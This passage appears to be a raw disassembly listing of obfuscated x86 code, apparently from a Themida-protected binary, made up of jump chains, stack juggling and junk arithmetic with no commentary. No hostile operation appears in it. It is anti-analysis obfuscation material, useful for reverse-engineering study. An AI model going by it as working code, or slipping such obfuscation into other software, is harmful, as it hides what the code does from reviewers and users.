loc_5667F0: ; CODE XREF: sub_562ABA+6084j
neg ebx
not ebx
sub esp, 4
jmp loc_5618EA
; ---------------------------------------------------------------------------
loc_5667FC: ; CODE XREF: sub_562ABA-E8Bj
mov eax, [esp+10h+var_12+2]
add esp, 4
add al, 0B3h
sub al, bl
sub al, 0B3h
mov bx, word ptr [esp+0Ch+var_C]
push 6F3h
mov [esp+10h+var_12+2], edi
mov edi, esp
push ebp
mov ebp, 261744B5h
sub ebp, 261744B1h
add edi, ebp
pop ebp
jmp loc_55EC75
; ---------------------------------------------------------------------------
loc_56682D: ; CODE XREF: sub_562ABA+CE48j
push 5FB85CBFh
pop eax
shr eax, 7
sub eax, 5334415Ch
dec eax
xor eax, 97120D04h
mov ecx, eax
pop eax
and ebp, ecx
pop ecx
jmp loc_571921
; ---------------------------------------------------------------------------
loc_56684C: ; CODE XREF: sub_562ABA+EE62j
pop esi
push ebx
jmp loc_563126
; ---------------------------------------------------------------------------
loc_566853: ; CODE XREF: sub_562ABA+6A46j
add esp, 4
push ecx
mov ecx, 24h
add ecx, edi
add [ecx], edx
jmp loc_56D0ED
; ---------------------------------------------------------------------------
loc_566868: ; CODE XREF: sub_562ABA+680Ej
pop esp
sub esp, 4
mov [esp+8+var_8], ebp
push ebx
mov ebx, 26985127h
sub esp, 4
mov [esp+10h+var_12+2], ebx
add [esp+10h+var_12+2], 1FA125A9h
pop ebp
sub esp, 4
mov [esp+10h+var_12+2], eax
jmp loc_57244A
; ---------------------------------------------------------------------------
loc_566897: ; CODE XREF: sub_562ABA-3485j
or esi, 19C71CDDh
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+2Ah+var_2C+2]
pop esp
mov [esp+26h+var_28+2], edi
mov edi, 1
add esi, edi
pop edi
dec esi
dec esi
jmp loc_569BD7
; ---------------------------------------------------------------------------
loc_5668BF: ; CODE XREF: sub_562ABA+2F04j
add ebp, ecx
add ebp, 18A01FC5h
jmp loc_56158C
; ---------------------------------------------------------------------------
loc_5668CC: ; CODE XREF: sub_562ABA+2280j
push 4D92h
jmp loc_567FAC
; ---------------------------------------------------------------------------
loc_5668D6: ; CODE XREF: sub_562ABA+CF4Dj
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+32h+var_32]
pop esp
mov [esp+0], edx
push [esp+2Eh+var_2C+2]
push [esp+32h+var_32]
pop edx
push edx
push 4B09h
mov [esp+3Ah+var_3A], esp
add [esp+3Ah+var_3A], 4
pop edx
push ecx
mov ecx, 26A83C91h
neg ecx
or ecx, 79A2639Ch
sub ecx, 7C9F06F9h
dec ecx
xchg edx, ecx
neg edx
xchg edx, ecx
jmp loc_567E2C
; ---------------------------------------------------------------------------
loc_56691E: ; CODE XREF: sub_562ABA+1A1Aj
push edx
mov edx, 49F07FB8h
add eax, edx
pop edx
add eax, 25E66D3Bh
pop edi
add eax, 4
jmp loc_56D3D7
; ---------------------------------------------------------------------------
loc_566937: ; CODE XREF: sub_562ABA-20B0j
mov [esp+1Ah+var_1A], ecx
push esi
mov esi, 42B1551Bh
xor esi, 30E65BC4h
push edx
mov edx, 1FF30CABh
shr edx, 6
inc edx
sub edx, 0F7FAB7D8h
and esi, edx
pop edx
jmp loc_565C40
; ---------------------------------------------------------------------------
loc_56695E: ; CODE XREF: sub_562ABA+9E6Aj
mov esp, [esp+1Eh+var_1E]
inc word ptr [esp+1Eh+var_1E]
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56696B: ; CODE XREF: sub_562ABA-1DA0j
push esp
jmp loc_567813
; ---------------------------------------------------------------------------
loc_566971: ; CODE XREF: sub_562ABA+FB6Fj
mov bh, dh
pop edx
mov ecx, [esp-0Ah+arg_4+2]
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 4
add edi, ebp
jmp loc_5650E4
; ---------------------------------------------------------------------------
loc_56698D: ; CODE XREF: sub_562ABA+BC2Cj
dec eax
sub esp, 4
mov [esp+2+var_4+2], ebx
mov ebx, 3BC04F60h
and eax, ebx
jmp loc_56D0A9
; ---------------------------------------------------------------------------
loc_5669A3: ; CODE XREF: sub_562ABA+820Bj
mov bl, 2Dh
jmp loc_561F5F
; ---------------------------------------------------------------------------
loc_5669AA: ; CODE XREF: sub_562ABA+F06Aj
push [esp+2+var_4+2]
mov ebx, [esp+6+var_8+2]
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push [esp+0Ah+var_8+2]
mov esi, [esp+0]
jmp loc_56106C
; ---------------------------------------------------------------------------
loc_5669CF: ; CODE XREF: sub_562ABA+3C71j
not ecx
add ecx, 6F4E720Ah
xor ebp, ecx
pop ecx
mov edi, ebp
jmp loc_570931
; ---------------------------------------------------------------------------
loc_5669E1: ; CODE XREF: sub_562ABA+CB97j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5669E6: ; CODE XREF: sub_562ABA+D665j
sub ebp, 0F3D5FDF2h
jmp loc_56EF53
; ---------------------------------------------------------------------------
loc_5669F1: ; CODE XREF: sub_562ABA-551j
shl eax, 6
sub eax, 0D177E47Ch
add ecx, eax
pop eax
add ecx, 4
jmp loc_56F954
; ---------------------------------------------------------------------------
loc_566A07: ; CODE XREF: sub_562ABA+6B48j
mov esp, [esp+0]
push edx
jmp loc_565BF9
; ---------------------------------------------------------------------------
loc_566A10: ; CODE XREF: sub_562ABA-3E74j
pop ebp
neg esi
xor esi, 0B8B4E4D1h
mov ebp, esi
pop esi
or ebp, 50927531h
push 1601h
mov [esp+22h+var_22], ebp
dec [esp+22h+var_22]
push [esp+22h+var_22]
jmp loc_565176
; ---------------------------------------------------------------------------
loc_566A35: ; CODE XREF: sub_562ABA+2D1Fj
add edx, ecx
push edi
mov edi, 12903EADh
jmp loc_55F091
; ---------------------------------------------------------------------------
loc_566A42: ; CODE XREF: sub_562ABA+798Cj
push ecx
mov ecx, 1BA71369h
push esi
mov esi, 675A61CFh
jmp loc_569D04
; ---------------------------------------------------------------------------
loc_566A53: ; CODE XREF: sub_562ABA+49Bj
add dh, 73h
sub bl, dh
pop edx
or bl, 9Bh
add bl, 51h
jmp loc_5696C2
; ---------------------------------------------------------------------------
loc_566A64: ; CODE XREF: sub_562ABA+832Ej
add esp, 4
push [esp+0Ch+var_C]
pop eax
push 593Ch
mov [esp+10h+var_12+2], eax
mov eax, esp
push ebx
push ecx
jmp loc_56B29D
; ---------------------------------------------------------------------------
loc_566A7C: ; CODE XREF: sub_562ABA+37A1j
dec ebp
xor ebp, 76CF7ECEh
sub ecx, 50FC3273h
jmp loc_5622F9
; ---------------------------------------------------------------------------
loc_566A8E: ; CODE XREF: sub_562ABA+9B96j
push ecx
mov ecx, 71075A12h
xor ecx, 30E41137h
add ecx, 36064904h
shl ecx, 8
not ecx
and ecx, 1F60584Dh
add ecx, 3A0D55B7h
xor edi, ecx
pop ecx
push edi
mov edi, 0F687206h
and edi, 0D05B9Bh
inc edi
jmp loc_56A6D6
; ---------------------------------------------------------------------------
loc_566AC6: ; CODE XREF: sub_562ABA+1AC6j
pop ecx
sub esi, 50902228h
add esi, ebx
add esi, 50902228h
pop ebx
add esi, eax
push eax
push esi
mov esi, 795D069Eh
jmp loc_5627D9
; ---------------------------------------------------------------------------
loc_566AE4: ; CODE XREF: sub_562ABA-41C0j
push ebp
mov ebp, 68092302h
jmp loc_561558
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+0Ch+var_C]
jmp loc_565D78
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_56A825
push eax
push esi
push ebp
push 5E9F2128h
pop ebp
not ebp
shr ebp, 7
not ebp
sub ebp, 9E48C95Bh
mov esi, ebp
mov ebp, [esp+18h+var_1A+2]
add esp, 4
jmp loc_56937D
; ---------------------------------------------------------------------------
loc_566B29: ; CODE XREF: sub_562ABA+89E5j
add ecx, 0BEEBE959h
mov ebp, ecx
pop ecx
sub ecx, 4B0050E6h
add ecx, ebp
add ecx, 4B0050E6h
jmp loc_5640AF
; ---------------------------------------------------------------------------
loc_566B45: ; CODE XREF: sub_562ABA+CE5Fj
pop ecx
xor cl, ah
mov ax, word ptr [esp+0Ch+var_C]
jmp loc_571890
; ---------------------------------------------------------------------------
loc_566B51: ; CODE XREF: sub_562ABA+929j
mov esp, [esp+0]
shl eax, cl
push 101Fh
jmp loc_5643C0
; ---------------------------------------------------------------------------
loc_566B60: ; CODE XREF: sub_562ABA+6174j
mov [esp+32h+var_32], ebp
push esp
mov ebp, [esp+36h+var_36]
push 0CB3h
jmp loc_56A2BD
; ---------------------------------------------------------------------------
loc_566B71: ; CODE XREF: sub_562ABA+CBF8j
sub esp, 4
jmp loc_5723DE
; ---------------------------------------------------------------------------
loc_566B7C: ; CODE XREF: sub_562ABA+E944j
mov ebp, [esp+3Eh+var_3E]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_56F870
; ---------------------------------------------------------------------------
loc_566B90: ; CODE XREF: sub_562ABA+AC49j
xor dh, 0AFh
and ah, dh
jmp loc_56F8E0
; ---------------------------------------------------------------------------
loc_566B9A: ; CODE XREF: sub_562ABA+349Aj
add esp, 4
xor esi, eax
mov eax, [esp+12h+var_12]
add esp, 4
push edi
mov edi, 1
add esi, edi
pop edi
dec esi
add esi, 0A540DEA9h
push edx
jmp loc_567CB1
; ---------------------------------------------------------------------------
loc_566BBB: ; CODE XREF: sub_562ABA-32D8j
mov edx, eax
pop eax
jmp loc_56964C
; ---------------------------------------------------------------------------
loc_566BC3: ; CODE XREF: sub_562ABA+9E0Aj
push 4799h
mov [esp+1Eh+var_1E], edi
mov edi, 2FE44AC9h
jmp loc_561762
; ---------------------------------------------------------------------------
loc_566BD5: ; CODE XREF: sub_562ABA-28A1j
mov edx, 19433B37h
inc edx
dec edx
sub edx, 0F2E809F9h
jmp loc_5631BF
; ---------------------------------------------------------------------------
loc_566BE7: ; CODE XREF: sub_562ABA+276Cj
sub esp, 4
mov [esp+3Ah+var_3A], ebp
push 1CE5h
jmp loc_568491
; ---------------------------------------------------------------------------
loc_566BF7: ; CODE XREF: sub_562ABA-3FFDj
sub esp, 4
mov [esp+0], ebp
mov ebp, 7BB95FBDh
jmp loc_56EFE7
; ---------------------------------------------------------------------------
loc_566C0A: ; CODE XREF: sub_562ABA+AFj
push ebx
mov ebx, 5151761Ah
sub ebx, 20175722h
jmp loc_55E55B
; ---------------------------------------------------------------------------
loc_566C1B: ; CODE XREF: sub_562ABA+58C7j
add [esp+1Ah+var_16], edx
mov edx, [esp+1Ah+var_1A]
add esp, 4
push [esp+16h+var_16]
mov eax, [esp+1Ah+var_1A]
jmp loc_5704D4
; ---------------------------------------------------------------------------
loc_566C33: ; CODE XREF: sub_562ABA+E886j
mov [esp+1Ah+var_1A], eax
push esp
pop eax
jmp loc_56C769
; ---------------------------------------------------------------------------
loc_566C3D: ; CODE XREF: sub_562ABA+2593j
add ecx, 4
sub ecx, 4
xchg ecx, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
mov [esp+1Eh+var_1E], edx
push ebx
push eax
mov eax, 2C940F50h
jmp loc_56A982
; ---------------------------------------------------------------------------
loc_566C5E: ; CODE XREF: sub_562ABA+1B40j
add esp, 4
mov esi, [esp+36h+var_36]
add esp, 4
push ebx
sub esp, 4
mov [esp+3Ah+var_3A], edx
mov edx, 7E00CF5h
jmp loc_570B0E
; ---------------------------------------------------------------------------
loc_566C7B: ; CODE XREF: sub_562ABA+DD04j
push ebp
push [esp+3Eh+var_3A]
mov ebp, [esp+42h+var_42]
add esp, 4
jmp loc_561550
; ---------------------------------------------------------------------------
loc_566C8E: ; CODE XREF: sub_562ABA+24E3j
add ebx, 57BC20DBh
jmp loc_572951
; ---------------------------------------------------------------------------
loc_566C99: ; CODE XREF: sub_562ABA+45ADj
mov [esp+16h+var_16], edi
push ebp
jmp loc_570CCA
; ---------------------------------------------------------------------------
loc_566CA2: ; CODE XREF: sub_562ABA-1AAFj
pop ebx
jmp loc_571F0F
; ---------------------------------------------------------------------------
loc_566CA8: ; CODE XREF: sub_562ABA-36Aj
add edi, edx
add edi, 786449EBh
mov edx, [esp+6+var_8+2]
add esp, 4
add edi, 2
jmp loc_566543
; ---------------------------------------------------------------------------
loc_566CC1: ; CODE XREF: sub_562ABA-1341j
add ebx, 2FE44AC9h
push edx
jmp loc_562F5A
; ---------------------------------------------------------------------------
loc_566CCD: ; CODE XREF: sub_562ABA+61F8j
sub edx, 2D38598Bh
pop ebx
xchg edx, [esp+0]
pop esp
xor [esp+2Ah+var_2C+2], eax
xor eax, [esp+2Ah+var_2C+2]
xor [esp+2Ah+var_2C+2], eax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_566CE6: ; CODE XREF: Themida_:00561817j
pop eax
push 3A5Ch
mov [esp+2Ah+var_2C+2], ebp
push 3A3Ch
push 4E33h
mov [esp+32h+var_32], esp
push esi
jmp loc_56B05F
; ---------------------------------------------------------------------------
loc_566D02: ; CODE XREF: sub_562ABA-44C8j
add esi, 4
xchg esi, [esp+46h+var_46]
pop esp
jmp loc_5645D3
; ---------------------------------------------------------------------------
loc_566D0E: ; CODE XREF: sub_55FCA5+149j
dec ecx
dec ecx
jmp loc_5719B7
; ---------------------------------------------------------------------------
loc_566D15: ; CODE XREF: sub_562ABA+DCF0j
sub eax, ebx
jmp loc_55E0B7
; ---------------------------------------------------------------------------
loc_566D1C: ; CODE XREF: sub_562ABA+CAj
push 46A21C84h
pop ebp
and ebp, 1A333345h
shr ebp, 7
neg ebp
jmp loc_56F10F
; ---------------------------------------------------------------------------
loc_566D32: ; DATA XREF: Themida_:0055DFB0o
push 602Ah
mov [esp+1Ah+var_1A], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
mov [esp+1Ah+var_1A], ecx
mov ecx, 1CA42293h
push ecx
neg [esp+1Eh+var_1E]
pop ecx
xor ecx, 0E35BDD6Ch
or [edi+1Ch], ecx
push [esp+1Ah+var_1A]
pop ecx
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+1Eh+var_1E]
jmp loc_55F750
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+1Eh+var_1E]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp+22h+var_22]
xor [esp+22h+var_22], ebp
xor ebp, [esp+22h+var_22]
pop esp
mov [esp+1Eh+var_1E], ebp
push esp
pop ebp
push eax
mov eax, 4
jmp loc_5725CD
; ---------------------------------------------------------------------------
loc_566DA3: ; CODE XREF: sub_562ABA+5510j
mov [esp+22h+var_22], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55F826
; ---------------------------------------------------------------------------
loc_566DB9: ; CODE XREF: sub_562ABA+59C8j
and bl, 0A5h
add bl, 0Ah
add bl, 0C0h
sub bl, 0Fh
or dh, bl
pop ebx
jmp loc_56BF4B
; ---------------------------------------------------------------------------
loc_566DCD: ; CODE XREF: sub_562ABA-1228j
mov [esp+32h+var_32], eax
mov eax, 66281CA8h
xchg eax, ebp
not ebp
jmp loc_563BD5
; ---------------------------------------------------------------------------
loc_566DDD: ; CODE XREF: sub_562ABA-1B71j
mov ebx, 62457615h
sub esp, 4
mov [esp+4Ch+var_4E+2], eax
mov eax, 3C4624C0h
push esi
mov esi, 64344775h
sub esi, 15A03907h
shl esi, 4
push eax
mov eax, 1A1A62C5h
not eax
shr eax, 2
neg eax
inc eax
sub eax, 3CAD3070h
add eax, 9159F896h
and esi, eax
pop eax
neg esi
inc esi
sub esi, 0F6FF9F42h
add eax, esi
pop esi
push ebp
mov ebp, 1B536499h
push edi
jmp loc_5655DD
; ---------------------------------------------------------------------------
loc_566E32: ; CODE XREF: Themida_:005728E4j
sub esp, 4
mov [esp+58h+var_5A+2], ebp
jmp loc_56A1D4
; ---------------------------------------------------------------------------
loc_566E40: ; CODE XREF: sub_562ABA+9FAFj
push edx
jmp loc_56970F
; ---------------------------------------------------------------------------
loc_566E46: ; CODE XREF: sub_562ABA+1BD1j
sub edx, 79587C9Dh
mov eax, [esp+4Ah+var_4A]
push edi
mov edi, esp
add edi, 4
push esi
jmp loc_563319
; ---------------------------------------------------------------------------
loc_566E5E: ; CODE XREF: sub_562ABA+4A6Bj
push 7B3Dh
mov [esp+56h+var_56], eax
push eax
jmp loc_56FA52
; ---------------------------------------------------------------------------
loc_566E6C: ; CODE XREF: sub_562ABA+6C3Cj
pop edx
mov dl, cl
push [esp+56h+var_56]
push [esp+5Ah+var_5A]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+5Eh+var_5E]
pop esp
add esp, 4
add al, 86h
jmp loc_56B2EA
; ---------------------------------------------------------------------------
loc_566E96: ; CODE XREF: sub_562ABA+EE40j
push [esp+56h+var_56]
push [esp+5Ah+var_5A]
push [esp+5Eh+var_5E]
jmp loc_55FAF5
; ---------------------------------------------------------------------------
loc_566EA4: ; CODE XREF: sub_562ABA+1E2Dj
xchg esi, [esp+2Ah+var_2C+2]
pop esp
sub eax, edx
jmp loc_56C385
; ---------------------------------------------------------------------------
loc_566EAF: ; CODE XREF: sub_562ABA+2112j
push eax
push 2CA85648h
jmp loc_565A6E
; ---------------------------------------------------------------------------
loc_566EBA: ; CODE XREF: sub_562ABA-3252j
pop ebp
xor ecx, 0C786A49Dh
push ecx
pop ebp
mov ecx, [esp+1Eh+var_1E]
add esp, 4
sub ebx, 2DD13F42h
sub ebx, 3BA87162h
sub ebx, ebp
add ebx, 3BA87162h
add ebx, 2DD13F42h
push [esp+1Ah+var_1A]
pop ebp
jmp loc_561480
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+1Ah+var_1A]
push 479Eh
mov [esp+1Eh+var_1E], esi
jmp loc_563AF8
; ---------------------------------------------------------------------------
loc_566EFD: ; CODE XREF: sub_562ABA+AD3Bj
xor al, bl
push ecx
mov ch, 0F8h
push ebx
push esp
pop ebx
push eax
mov eax, 4
add ebx, eax
pop eax
sub ebx, 4
push ebx
push [esp+2Ah+var_28+2]
jmp loc_55F8C2
; ---------------------------------------------------------------------------
loc_566F1E: ; CODE XREF: sub_562ABA+C4A8j
xor [esp+0], al
pushf
jmp loc_563309
; ---------------------------------------------------------------------------
loc_566F27: ; CODE XREF: sub_562ABA+C9B9j
sub ecx, 58D11FCDh
push eax
mov eax, 551C3BDDh
jmp loc_56319A
; ---------------------------------------------------------------------------
loc_566F38: ; CODE XREF: sub_562ABA+24C5j
add esp, 4
pop ebx
push [esp+12h+var_12]
pop edx
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_566F4E: ; CODE XREF: sub_562ABA+8E02j
push 53EFh
jmp loc_56DCCA
; ---------------------------------------------------------------------------
loc_566F58: ; CODE XREF: sub_562ABA-1567j
pop esp
mov [esp-16h+arg_10+2], ecx
jmp loc_564E51
; ---------------------------------------------------------------------------
loc_566F61: ; CODE XREF: sub_562ABA+5896j
push ebp
jmp loc_56FFAC
; ---------------------------------------------------------------------------
loc_566F67: ; CODE XREF: sub_562ABA-2F88j
add ecx, 6DF2755Bh
xor esi, ecx
pop ecx
push 494Eh
mov [esp+16h+var_16], ebx
mov ebx, 23141590h
add edi, 23093FB9h
sub edi, ebx
sub edi, 23093FB9h
push [esp+16h+var_16]
pop ebx
jmp loc_560F61
; ---------------------------------------------------------------------------
loc_566F94: ; CODE XREF: sub_562ABA+85F0j
mov esp, [esp+16h+var_16]
jmp loc_567F20
; ---------------------------------------------------------------------------
loc_566F9C: ; CODE XREF: sub_562ABA+956Aj
push esp
pop ebx
push edx
mov edx, 4
add ebx, 4CA3607Ch
add ebx, edx
sub ebx, 4CA3607Ch
pop edx
push esi
push edi
mov edi, 4
mov esi, edi
pop edi
sub ebx, esi
mov esi, [esp+1Ah+var_1A]
jmp loc_5708E5
; ---------------------------------------------------------------------------
loc_566FC7: ; CODE XREF: sub_562ABA-2513j
push eax
jmp loc_561729
; ---------------------------------------------------------------------------
loc_566FCD: ; CODE XREF: sub_562ABA+2F5Ej
mov cl, 7Fh
add cl, 15h
jmp loc_5663DB
; ---------------------------------------------------------------------------
loc_566FD7: ; CODE XREF: sub_562ABA+E308j
mov ch, 61h
add ch, ah
pop eax
mov dl, ch
pop ecx
jmp loc_568F0A
; ---------------------------------------------------------------------------
loc_566FE4: ; CODE XREF: sub_562ABA+B7F0j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_572AFF
; ---------------------------------------------------------------------------
loc_566FF5: ; CODE XREF: sub_562ABA+6116j
pop esi
and eax, ecx
pop ecx
shr eax, 18h
xor eax, ecx
push 883h
mov [esp+22h+var_22], eax
push 18E4h
mov [esp+26h+var_28+2], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+26h+var_28+2]
pop esp
mov [esp+22h+var_22], ecx
jmp loc_5676B7
; ---------------------------------------------------------------------------
loc_567025: ; CODE XREF: sub_562ABA+7C72j
add bl, 3
mov cx, word ptr [esp+22h+var_22]
add esp, 2
jmp loc_56FB84
; ---------------------------------------------------------------------------
loc_567034: ; CODE XREF: sub_562ABA+4AADj
add edi, 4
push 2B39h
mov [esp+22h+var_22], esi
push eax
jmp loc_55F5F1
; ---------------------------------------------------------------------------
loc_567048: ; CODE XREF: sub_562ABA+F487j
add ebx, 0A3D7BDA4h
jmp loc_568CDD
; ---------------------------------------------------------------------------
push [esp+26h+var_28+2]
mov edx, [esp+2Ah+var_2C+2]
sub esp, 4
jmp loc_5666CC
; ---------------------------------------------------------------------------
loc_567064: ; CODE XREF: sub_562ABA+53C4j
sub esp, 4
jmp loc_566C99
; ---------------------------------------------------------------------------
loc_56706C: ; CODE XREF: sub_562ABA+4EA4j
push dword ptr [edi+eax*4]
push eax
jmp loc_56D232
; ---------------------------------------------------------------------------
loc_567075: ; CODE XREF: sub_562ABA+F011j
add ebx, 4
xchg ebx, [esp+3Ah+var_3A]
pop esp
jmp loc_5677A1
; ---------------------------------------------------------------------------
loc_567081: ; CODE XREF: sub_562ABA-1324j
sub edi, 362C69B0h
jmp loc_55E676
; ---------------------------------------------------------------------------
loc_56708C: ; CODE XREF: sub_562ABA-733j
and ch, 14h
jmp loc_56E286
; ---------------------------------------------------------------------------
loc_567094: ; CODE XREF: sub_562ABA+993j
mov esp, [esp+6+var_8+2]
jmp loc_56076D
; ---------------------------------------------------------------------------
loc_56709C: ; CODE XREF: sub_562ABA-1396j
push esp
mov edx, [esp+32h+var_32]
push ebp
mov ebp, esp
push ebx
jmp loc_560313
; ---------------------------------------------------------------------------
loc_5670A9: ; CODE XREF: sub_562ABA+6FB4j
push eax
mov eax, 5E6F4898h
jmp loc_56A2CD
; ---------------------------------------------------------------------------
loc_5670B4: ; CODE XREF: sub_562ABA+6F71j
mov esp, [esp+3Eh+var_3E]
mov [esp+3Eh+var_3E], edx
jmp loc_56EA91
; ---------------------------------------------------------------------------
loc_5670BF: ; CODE XREF: sub_562ABA+BD81j
sub ebx, 23A5666h
sub ebx, esi
push ebp
mov ebp, 179A15AFh
jmp loc_565DBA
; ---------------------------------------------------------------------------
loc_5670D2: ; CODE XREF: sub_562ABA+844Fj
xor ecx, 44E69041h
add eax, ecx
pop ecx
push eax
push [esp+42h+var_3E]
pop eax
jmp loc_568165
; ---------------------------------------------------------------------------
loc_5670E6: ; CODE XREF: sub_562ABA+3A7Cj
add al, bl
add al, 89h
add al, 9Ch
jmp loc_55E208
; ---------------------------------------------------------------------------
loc_5670F1: ; CODE XREF: sub_562ABA+CC28j
push dword ptr [esp+4]
pop esi
pop [esp+4+var_4]
jmp loc_56F357
; ---------------------------------------------------------------------------
loc_5670FE: ; CODE XREF: sub_562ABA+115Bj
sub al, bh
jmp loc_56DD2D
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56710D: ; CODE XREF: sub_562ABA+8865j
shr ebp, 4
push ebx
mov ebx, 6477C220h
xor ebp, ebx
pop ebx
add ecx, ebp
pop ebp
jmp loc_5694BE
; ---------------------------------------------------------------------------
loc_567121: ; CODE XREF: sub_562ABA+D062j
pop edi
or ecx, 1464EE7h
add ecx, 1501C825h
push 79CBh
mov [esp+4Ch+var_4E+2], eax
jmp loc_5713D5
; ---------------------------------------------------------------------------
loc_56713B: ; CODE XREF: sub_562ABA-18ECj
mov ecx, esi
pop esi
rep movsd
add esp, [edx+38h]
jmp loc_565501
; ---------------------------------------------------------------------------
loc_567148: ; CODE XREF: sub_562ABA+1BC6j
xor edx, edi
pop edi
sub ebp, 643F7982h
add ebp, edx
sub esp, 4
mov [esp+4Ah+var_4A], edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_55E218
; ---------------------------------------------------------------------------
loc_56716F: ; CODE XREF: sub_562ABA+E38Cj
add edx, eax
pop eax
xchg edx, [esp+46h+var_46]
pop esp
push eax
mov eax, 60402145h
inc eax
shr eax, 3
xor eax, 1785006Fh
add edi, eax
jmp loc_565F06
; ---------------------------------------------------------------------------
loc_56718C: ; CODE XREF: sub_562ABA+8D50j
mov ebx, 7D1C3378h
inc ebx
shr ebx, 6
jmp loc_56209E
; ---------------------------------------------------------------------------
loc_56719A: ; CODE XREF: sub_562ABA-835j
sub ebp, esi
pop esi
push eax
mov eax, 0FD185604h
sub ebp, eax
pop eax
sub eax, ebp
pop ebp
push [esp+2Ah+var_2C+2]
jmp loc_55FC1F
; ---------------------------------------------------------------------------
loc_5671B1: ; CODE XREF: sub_562ABA+E683j
sub eax, 2
push 4343h
jmp loc_572972
; ---------------------------------------------------------------------------
loc_5671C0: ; CODE XREF: sub_562ABA+780Ej
push ecx
jmp loc_56DBD7
; ---------------------------------------------------------------------------
loc_5671C6: ; CODE XREF: sub_562ABA+9DBEj
not ebp
not ebp
not ebp
shr ebp, 4
jmp loc_56E1EF
; ---------------------------------------------------------------------------
loc_5671D4: ; CODE XREF: sub_562ABA+497Fj
push esp
jmp loc_571FA8
; ---------------------------------------------------------------------------
loc_5671DA: ; CODE XREF: sub_562ABA-1913j
mov word ptr [esp+8+var_8], cx
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5671E3: ; CODE XREF: sub_562ABA+53j
push esi
mov esi, 3E342274h
sub esi, 39420EC3h
dec esi
push eax
mov eax, 4F213ACh
jmp loc_567D39
; ---------------------------------------------------------------------------
loc_5671FB: ; CODE XREF: sub_562ABA+5A6Aj
pop eax
mov ecx, 0E850F17Bh
add ecx, edx
pop edx
xor ecx, 5E5B791Dh
add edi, ecx
pop ecx
and edi, 51B4076Ah
dec edi
sub edi, 88F3F785h
sub eax, edi
mov edi, [esp+1Ah+var_1A]
jmp loc_56DFA0
; ---------------------------------------------------------------------------
loc_567224: ; CODE XREF: sub_562ABA-43DCj
add ebx, 19B62AC7h
add ebx, 3F790B41h
jmp loc_5663D5
; ---------------------------------------------------------------------------
loc_567235: ; CODE XREF: sub_562ABA+7977j
mov eax, 378C23E3h
xor ecx, eax
mov eax, [esp+22h+var_22]
add esp, 4
jmp loc_572093
; ---------------------------------------------------------------------------
loc_56724A: ; CODE XREF: sub_562ABA+DC59j
sub esp, 4
mov [esp+22h+var_22], ebx
mov ebx, esp
add ebx, 4
jmp loc_56D7D3
; ---------------------------------------------------------------------------
loc_567260: ; CODE XREF: sub_562ABA+87CBj
pop edi
jmp loc_56BBE3
; ---------------------------------------------------------------------------
loc_567266: ; CODE XREF: sub_55FCA5+4A5j
add eax, 3E362E8h
sub eax, ebp
push 48F5h
mov [esp+22h+var_22], ebp
mov ebp, 78253F38h
jmp loc_56225F
; ---------------------------------------------------------------------------
loc_56727F: ; CODE XREF: sub_562ABA+712Dj
add bl, 60h
add ch, bl
jmp loc_572432
; ---------------------------------------------------------------------------
loc_567289: ; CODE XREF: sub_562ABA+9C15j
sub esp, 4
mov [esp+26h+var_28+2], edx
sub esp, 4
mov [esp+2Ah+var_2C+2], edi
mov edi, 458179Ch
mov edx, edi
pop edi
jmp loc_57017C
; ---------------------------------------------------------------------------
loc_5672A5: ; CODE XREF: sub_562ABA+B33j
mov eax, 32940585h
sub eax, 2EDDA5DBh
or eax, 6110077Dh
jmp loc_56A598
; ---------------------------------------------------------------------------
loc_5672B9: ; CODE XREF: sub_562ABA+F563j
mov edx, 3129134Ah
add ebp, edx
pop edx
jmp loc_564BF4
; ---------------------------------------------------------------------------
loc_5672C6: ; CODE XREF: sub_562ABA+4F31j
push [esp+36h+var_32]
mov ebp, [esp+3Ah+var_3A]
push ebp
mov ebp, esp
jmp loc_56C4F9
; ---------------------------------------------------------------------------
push [esp+3Eh+var_3A]
push [esp+42h+var_42]
mov eax, [esp+46h+var_46]
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp+4Eh+var_4E], ebp
mov ebp, 81B7F8Bh
dec ebp
shr ebp, 3
shr ebp, 1
jmp loc_563D34
; ---------------------------------------------------------------------------
loc_567301: ; CODE XREF: sub_55FCA5+34Cj
xchg ebp, [esp+4Eh+var_4E]
pop esp
xor edx, edx
push ebx
jmp loc_568C8C
; ---------------------------------------------------------------------------
loc_56730D: ; CODE XREF: sub_562ABA+2819j
pop esp
mov [esp+0], esp
jmp loc_56FF7D
; ---------------------------------------------------------------------------
loc_567316: ; CODE XREF: sub_562ABA-D03j
xor [esp+3Eh+var_3E], edi
xor edi, [esp+3Eh+var_3E]
jmp loc_570A41
; ---------------------------------------------------------------------------
loc_567321: ; CODE XREF: sub_562ABA+33DCj
add eax, 4
jmp loc_56516E
; ---------------------------------------------------------------------------
loc_56732B: ; CODE XREF: sub_562ABA+118Ej
pop [esp+36h+var_36]
add [esp+32h+var_32], 4
